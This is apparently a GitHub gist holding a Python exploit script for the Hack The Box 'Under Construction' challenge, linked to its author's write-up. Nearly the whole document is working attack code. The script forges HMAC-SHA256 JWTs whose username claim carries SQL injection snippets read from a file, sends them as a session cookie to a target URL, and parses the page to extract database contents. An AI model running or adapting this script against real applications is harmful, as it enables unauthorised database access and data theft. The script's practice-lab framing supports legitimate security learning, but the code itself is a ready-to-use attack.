-
-
Save mspraggs/a8b3a7cc7af7345feab338bbc724a2b3 to your computer and use it in GitHub Desktop.
Exploit for HTB Under Construction challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This file provides a working exploit for the Hack The Box Under Construction | |
challenge. A full write-up of this exploit can be found here: | |
https://www.mattspraggs.co.uk/hack-the-box-under-construction.html | |
The exploit works by generating a JWT signed with HMAC-SHA256. Instead of a | |
valid username, a SQL snippet is used to achieve SQL injection and extract | |
details from the database. | |
""" | |
import base64 | |
import hashlib | |
import hmac | |
import json | |
import re | |
import sys | |
from typing import Optional | |
import requests | |
import bs4 | |
GREEN = "\033[32m" | |
RED = "\033[31m" | |
WHITE = "\033[0m" | |
RESULT_REGEX = re.compile(r'Welcome ([^\n]*)') | |
JWT_HEADER = { | |
'alg': 'HS256', | |
'typ': 'JWT', | |
} | |
def green(s: str) -> str: | |
""" | |
Surrounds provided string with green and white Bash colour codes. | |
""" | |
return f"{GREEN}{s}{WHITE}" | |
def red(s: str) -> str: | |
""" | |
Surrounds provided string with red and white Bash colour codes. | |
""" | |
return f"{RED}{s}{WHITE}" | |
def b64encode(data: bytes) -> str: | |
""" | |
Encodes the provided bytes to URL-safe base64 without padding characters. | |
""" | |
return base64.urlsafe_b64encode(data).rstrip(b'=').decode() | |
def generate_jwt(header: dict, body: dict, key: str) -> str: | |
""" | |
Generates a signed JWT with the provided header and body, signed with the | |
provided key. | |
The resulting JWT is signed using HMAC-SHA256. | |
""" | |
encoded_header = b64encode(json.dumps(header).encode()) | |
encoded_body = b64encode(json.dumps(body).encode()) | |
hmac_payload = f'{encoded_header}.{encoded_body}' | |
sig = hmac.new(key.encode(), hmac_payload.encode(), hashlib.sha256) | |
encoded_sig = b64encode(sig.digest()) | |
return f'{hmac_payload}.{encoded_sig}' | |
def generate_jwt_for_app(username: str, key: str) -> str: | |
""" | |
Generates a signed JWT with the provided username and key. | |
The resulting JWT will be compatible with the Under Construction HTB app. | |
""" | |
payload = { | |
'username': username, | |
'pk': key, | |
} | |
return generate_jwt(JWT_HEADER, payload, key) | |
def inject(query: str, key: str, url: str) -> Optional[list]: | |
""" | |
Performs a SQL injection using the provided query snippet, key and url. | |
""" | |
jwt = generate_jwt_for_app(query, key) | |
sess = requests.Session() | |
sess.cookies['session'] = jwt | |
resp = sess.get(url) | |
try: | |
resp.raise_for_status() | |
except requests.HTTPError: | |
return | |
soup = bs4.BeautifulSoup(resp.text, 'html.parser') | |
element = soup.find('div', {'class': 'card-body'}) | |
return RESULT_REGEX.findall(getattr(element, 'text', soup.text)) | |
if __name__ == '__main__': | |
try: | |
url = sys.argv[1] | |
keyfile = sys.argv[2] | |
queriesfile = sys.argv[3] | |
except IndexError: | |
print(f'Usage: python {sys.argv[0]} <url> <keyfile> <queries>') | |
sys.exit() | |
with open(keyfile) as f: | |
key = f.read() | |
with open(queriesfile) as f: | |
queries = [l.strip() for l in f.readlines()] | |
for query in queries: | |
print(f"[ ?? ] INJECTING: {query}") | |
match = inject(query, key, url) | |
if match: | |
print(f"{green('[ ++ ]')} RESULT: {match[0]}") | |
else: | |
print(f"{red('[ !! ]')} No result!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment